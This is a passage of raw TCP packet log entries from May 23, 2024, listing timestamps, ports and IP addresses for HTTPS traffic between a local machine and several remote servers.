May 23, 2024 10:31:01.507524967 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.507584095 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.507590055 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.512288094 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.512353897 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.512361050 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.559889078 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.559900999 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.606278896 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.786623955 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.789319992 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.789412975 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.789480925 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.789529085 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.789591074 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.791445017 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.792781115 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.792912960 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.792929888 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.811245918 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.811269999 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.811309099 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.811327934 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.811335087 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.811355114 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.811369896 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.811382055 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.811382055 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.811398029 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.811410904 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.811443090 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.811467886 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.816436052 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.816490889 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.816504955 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.816524982 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.816576004 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.816672087 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:01.816740036 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:01.818140984 CEST	443	49740	172.217.18.4	192.168.2.4
May 23, 2024 10:31:01.860291004 CEST	49740	443	192.168.2.4	172.217.18.4
May 23, 2024 10:31:01.874064922 CEST	49740	443	192.168.2.4	172.217.18.4
May 23, 2024 10:31:01.874070883 CEST	443	49740	172.217.18.4	192.168.2.4
May 23, 2024 10:31:01.877974987 CEST	443	49740	172.217.18.4	192.168.2.4
May 23, 2024 10:31:01.878056049 CEST	49740	443	192.168.2.4	172.217.18.4
May 23, 2024 10:31:01.903105021 CEST	49740	443	192.168.2.4	172.217.18.4
May 23, 2024 10:31:01.903426886 CEST	443	49740	172.217.18.4	192.168.2.4
May 23, 2024 10:31:01.949619055 CEST	49740	443	192.168.2.4	172.217.18.4
May 23, 2024 10:31:01.949624062 CEST	443	49740	172.217.18.4	192.168.2.4
May 23, 2024 10:31:01.955281973 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:01.955328941 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:01.955389977 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:01.956294060 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:01.956312895 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:01.989873886 CEST	49740	443	192.168.2.4	172.217.18.4
May 23, 2024 10:31:02.039575100 CEST	49739	443	192.168.2.4	151.101.66.137
May 23, 2024 10:31:02.039627075 CEST	443	49739	151.101.66.137	192.168.2.4
May 23, 2024 10:31:02.499321938 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.500046968 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.500113010 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.501209974 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.501625061 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.501794100 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.501807928 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.542515993 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.546042919 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.684376955 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.686748981 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.686832905 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.686908007 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.694021940 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.696732044 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.696824074 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.696841955 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.696875095 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.696908951 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.701344967 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.702088118 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.702105045 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.705383062 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.705472946 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.705529928 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.705544949 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.711086988 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.776626110 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.780968904 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.781012058 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.781049013 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.781115055 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.781171083 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.785407066 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.794311047 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.794370890 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.794388056 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.794517040 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.794586897 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.794598103 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.794699907 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.794750929 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.794763088 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.797806978 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.797925949 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.797938108 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.804606915 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.804693937 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.804702044 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.804729939 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.804788113 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.807619095 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.807769060 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.807921886 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.807934046 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.810805082 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.810858011 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:02.810868979 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.810972929 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:02.811024904 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:03.407365084 CEST	49741	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:03.407443047 CEST	443	49741	104.17.2.184	192.168.2.4
May 23, 2024 10:31:04.929152012 CEST	49742	443	192.168.2.4	2.19.244.127
May 23, 2024 10:31:04.929188967 CEST	443	49742	2.19.244.127	192.168.2.4
May 23, 2024 10:31:04.929255962 CEST	49742	443	192.168.2.4	2.19.244.127
May 23, 2024 10:31:04.930972099 CEST	49742	443	192.168.2.4	2.19.244.127
May 23, 2024 10:31:04.930988073 CEST	443	49742	2.19.244.127	192.168.2.4
May 23, 2024 10:31:04.951623917 CEST	49672	443	192.168.2.4	173.222.162.32
May 23, 2024 10:31:04.951724052 CEST	443	49672	173.222.162.32	192.168.2.4
May 23, 2024 10:31:05.121516943 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:05.121627092 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:05.121721983 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:05.123126030 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:05.123178005 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:05.324681997 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:05.324778080 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:05.325006962 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:05.330152988 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:05.330199957 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:05.606724977 CEST	443	49742	2.19.244.127	192.168.2.4
May 23, 2024 10:31:05.606849909 CEST	49742	443	192.168.2.4	2.19.244.127
May 23, 2024 10:31:05.660064936 CEST	49742	443	192.168.2.4	2.19.244.127
May 23, 2024 10:31:05.660140038 CEST	443	49742	2.19.244.127	192.168.2.4
May 23, 2024 10:31:05.660453081 CEST	443	49742	2.19.244.127	192.168.2.4
May 23, 2024 10:31:05.701416969 CEST	49742	443	192.168.2.4	2.19.244.127
May 23, 2024 10:31:05.741668940 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:05.741772890 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:05.797960043 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:05.798041105 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:05.798825979 CEST	49742	443	192.168.2.4	2.19.244.127
May 23, 2024 10:31:05.802006006 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:05.802779913 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:05.803085089 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:05.803113937 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:05.803847075 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:05.807369947 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:05.807461977 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:05.807501078 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:05.846501112 CEST	443	49742	2.19.244.127	192.168.2.4
May 23, 2024 10:31:05.854497910 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:05.855544090 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:05.855544090 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:05.991810083 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:05.996840000 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:05.996907949 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:05.996943951 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.011569977 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.011642933 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.011660099 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.021389008 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.021496058 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.021501064 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.021543026 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.021601915 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.029313087 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.037122965 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.037239075 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.037252903 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.067924023 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.067994118 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.068093061 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.068896055 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.068928003 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.069824934 CEST	443	49742	2.19.244.127	192.168.2.4
May 23, 2024 10:31:06.069895029 CEST	443	49742	2.19.244.127	192.168.2.4
May 23, 2024 10:31:06.070194006 CEST	49742	443	192.168.2.4	2.19.244.127
May 23, 2024 10:31:06.071351051 CEST	49742	443	192.168.2.4	2.19.244.127
May 23, 2024 10:31:06.071389914 CEST	443	49742	2.19.244.127	192.168.2.4
May 23, 2024 10:31:06.076025963 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.076250076 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.076265097 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.084902048 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.084954023 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.084969044 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.084985018 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.085283995 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.091492891 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.094871044 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.094974041 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.094988108 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.101468086 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.101532936 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.101557016 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.108122110 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.108221054 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.108237028 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.115036964 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.115130901 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.115144014 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.118969917 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.119093895 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.119107008 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.125827074 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.125998020 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.126013041 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.128009081 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.131103039 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.131125927 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.134375095 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.135117054 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.135145903 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.158260107 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.158339977 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.158376932 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.164532900 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.164621115 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.164638996 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.167180061 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.167289019 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.167304993 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.168462038 CEST	49747	443	192.168.2.4	184.28.90.27
May 23, 2024 10:31:06.168509007 CEST	443	49747	184.28.90.27	192.168.2.4
May 23, 2024 10:31:06.168601990 CEST	49747	443	192.168.2.4	184.28.90.27
May 23, 2024 10:31:06.170905113 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.171047926 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.171061993 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.175556898 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.175625086 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.175637960 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.175712109 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.178638935 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.178715944 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.181741953 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.181864977 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.183432102 CEST	49747	443	192.168.2.4	184.28.90.27
May 23, 2024 10:31:06.183464050 CEST	443	49747	184.28.90.27	192.168.2.4
May 23, 2024 10:31:06.183980942 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.184057951 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.188810110 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.188894987 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.191051006 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.191129923 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.196847916 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.196937084 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.196949959 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.197014093 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.197014093 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.197073936 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.197385073 CEST	49744	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.197416067 CEST	443	49744	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.245949030 CEST	49748	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.246048927 CEST	443	49748	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.246480942 CEST	49748	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.248713017 CEST	49748	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.248752117 CEST	443	49748	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.426048040 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:06.466536045 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:06.596839905 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.597161055 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.597225904 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.597695112 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.598015070 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.598102093 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.598165989 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.622497082 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:06.622528076 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:06.622536898 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:06.622622013 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:06.622639894 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:06.622657061 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:06.622664928 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:06.622693062 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:06.622710943 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:06.622742891 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:06.622839928 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:06.630742073 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:06.630822897 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:06.630845070 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:06.630978107 CEST	443	49743	20.12.23.50	192.168.2.4
May 23, 2024 10:31:06.631051064 CEST	49743	443	192.168.2.4	20.12.23.50
May 23, 2024 10:31:06.638536930 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.776446104 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.779613018 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.779675961 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.779709101 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.779738903 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.779787064 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.781873941 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.783247948 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.783303976 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.783318996 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.783334017 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.783376932 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.786094904 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.792201042 CEST	443	49748	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.792304039 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.792352915 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.792365074 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.792382956 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.792432070 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.792515993 CEST	49748	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.792548895 CEST	443	49748	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.793004990 CEST	443	49748	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.793483973 CEST	49748	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.793553114 CEST	443	49748	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.794625044 CEST	49748	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.842503071 CEST	443	49748	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.854044914 CEST	443	49747	184.28.90.27	192.168.2.4
May 23, 2024 10:31:06.854124069 CEST	49747	443	192.168.2.4	184.28.90.27
May 23, 2024 10:31:06.856981993 CEST	49747	443	192.168.2.4	184.28.90.27
May 23, 2024 10:31:06.857000113 CEST	443	49747	184.28.90.27	192.168.2.4
May 23, 2024 10:31:06.857359886 CEST	443	49747	184.28.90.27	192.168.2.4
May 23, 2024 10:31:06.858854055 CEST	49747	443	192.168.2.4	184.28.90.27
May 23, 2024 10:31:06.865387917 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.867326975 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.867396116 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.867424965 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.869299889 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.869357109 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.869364977 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.871431112 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.871501923 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.871509075 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.872431993 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.872498989 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.872505903 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.874160051 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.874228954 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.874234915 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.875788927 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.875844955 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.875850916 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.878226042 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.878276110 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.878282070 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.879626036 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.879699945 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.879707098 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.881021976 CEST	443	49746	104.17.2.184	192.168.2.4
May 23, 2024 10:31:06.881078959 CEST	49746	443	192.168.2.4	104.17.2.184
May 23, 2024 10:31:06.881087065 CEST	443	49746	104.17.2.184	192.168.2.4
